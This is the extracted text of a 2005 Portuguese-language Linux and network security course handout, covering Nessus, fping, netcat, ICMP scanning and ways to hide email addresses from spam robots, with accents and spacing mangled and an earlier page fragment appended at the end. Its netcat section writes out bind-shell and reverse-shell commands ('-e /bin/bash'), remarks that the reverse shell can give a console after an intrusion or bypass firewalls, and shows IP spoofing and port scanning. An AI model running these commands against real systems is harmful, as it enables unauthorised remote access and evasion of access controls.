sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 32: Curso de segurança em linux e redes em geral

Outra teacutecnica que pode ser utilizada satildeo os java scripts que tambeacutem natildeo satildeo interpretados pelosrobos podemos por exemplo usa a funccedilatildeo docummentwriter() para escrever o conteuacutedo do e-mail quepermitiraacute aos usuaacuterios visualizarem o endereccedilo mas que iratildeo confundir as sondas de coleta ainda nestesentido podemos colocar o endereccedilo de e-mail em um arquivo externoA criptografia tambeacutem pode nos ajudar uma forma bem simploacuteria de resolver o problema eacute utilizar afunccedilatildeo ldquoXORrdquo da loacutegica matemaacutetica para esconder o conteuacutedo do texto no coacutedigo e utilizar o java script pararealizar a decodificaccedilatildeo do endereccedilo Mesmo sem uma forma fraca de criptografia ela eacute muito eficientescontra os robos dos spammers Mas os clientes que natildeo possuem o java script habilitado natildeo poderatildeovisualizar o endereccedilo de e-mail contudo a grande maioria dos navegadores jaacute possuem suporte a javascript basta entatildeo solicitar ao usuaacuterio que o habilite em seu navegadorMas quem falou que e-mail tem que ser representado na forma de texto puro Se utilizarmos umafigura contendo o endereccedilo de e-mail como a maioria dos robos natildeo verificam o conteuacutedos das figuras oendereccedilo passaraacute desapercebido Todavia tambeacutem podemos utilizar uma animaccedilatildeo flash para a mesmafinalidade mas o flash nem sempre estaacute instalado na maacutequina do visitante e ele ainda natildeo foi portado paratodas as plataforma que suportam o uso de navegadores webEntretanto se o motivo de se expor o endereccedilo de e-mail eacute para que os visitantes possam entrar emcontato podemos trocar este endereccedilo por um formulaacuterio simples que pode ser usado para a mesmafinalidadeMas se seu objetivo eacute descobrir quem estaacute garimpando seu site atraacutes de endereccedilo de e-mail crieendereccedilos de e-mails dinacircmicos atraveacutes de java script de tal modo que ele contenha a data hora eendereccedilo ip de quem estaacute acessando a paacutegina logo ao receber um e-mail para endereccedilos invalidos seuservidor de e-mail pode repassaacute-los para uma conta especial que o administrador deveraacute monitorar com istoseraacute possiacutevel determinar quem ou de onde os robos estatildeo sendo disparadosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

